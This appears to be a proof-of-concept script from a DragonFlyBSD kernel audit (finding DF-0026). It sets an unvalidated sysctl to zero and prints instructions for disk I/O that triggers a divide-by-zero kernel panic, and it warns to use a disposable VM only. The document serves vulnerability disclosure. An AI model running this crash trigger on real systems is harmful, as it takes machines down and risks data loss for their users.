DragonFlyBSD Kernel Audit
DF-0026 / bioq_div0.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-0026 PoC - kern.bioq_reorder_minor_interval=0 -> divide-by-zero panic.
#
# bioq_reorder_minor_interval (sys/kern/subr_disk.c:1325-1327) is a
# CTLFLAG_RW SYSCTL_INT with no bounds validation, used directly as a modulus
# divisor at subr_disk.c:1376 (bioq->reorder % bioq_reorder_minor_interval).
# Setting it to 0 (root) -> integer divide-by-zero (FPE_INTDIV) -> panic on the
# next disk read dispatched to a bioq with a pending write queue
# (bioq->transition != NULL).
#
# Requires root (sysctl writes are gated by SYSCAP_NOSYSCTL_WR).
#
# WARNING: panics the kernel. Disposable VM only.
#
# Expected (bug present): kernel panic "integer divide fault" / FPE_INTDIV in
# bioqdisksort() once a read hits a non-empty write bioq.

echo "[*] current: $(sysctl -n kern.bioq_reorder_minor_interval)"
echo "[*] setting kern.bioq_reorder_minor_interval=0 (root)..."
sysctl kern.bioq_reorder_minor_interval=0
echo "[*] now generate mixed read/write I/O on a disk so bioq->transition != NULL:"
echo "    e.g. (on a scratch disk) dd if=/dev/da0s1 of=/dev/null bs=64k &"
echo "          while dd if=/dev/zero of=/scratch/junk bs=64k count=1000 oflag=direct"
echo "[*] expect: kernel panic (integer divide fault in bioqdisksort)"

# Demonstration workload on a scratch disk (uncomment + edit target):
# ( dd if=/dev/da0s1 of=/dev/null bs=64k count=2000 & \
#   dd if=/dev/zero of=/mnt/scratch/junk bs=64k count=2000 oflag=direct ) 2>/dev/null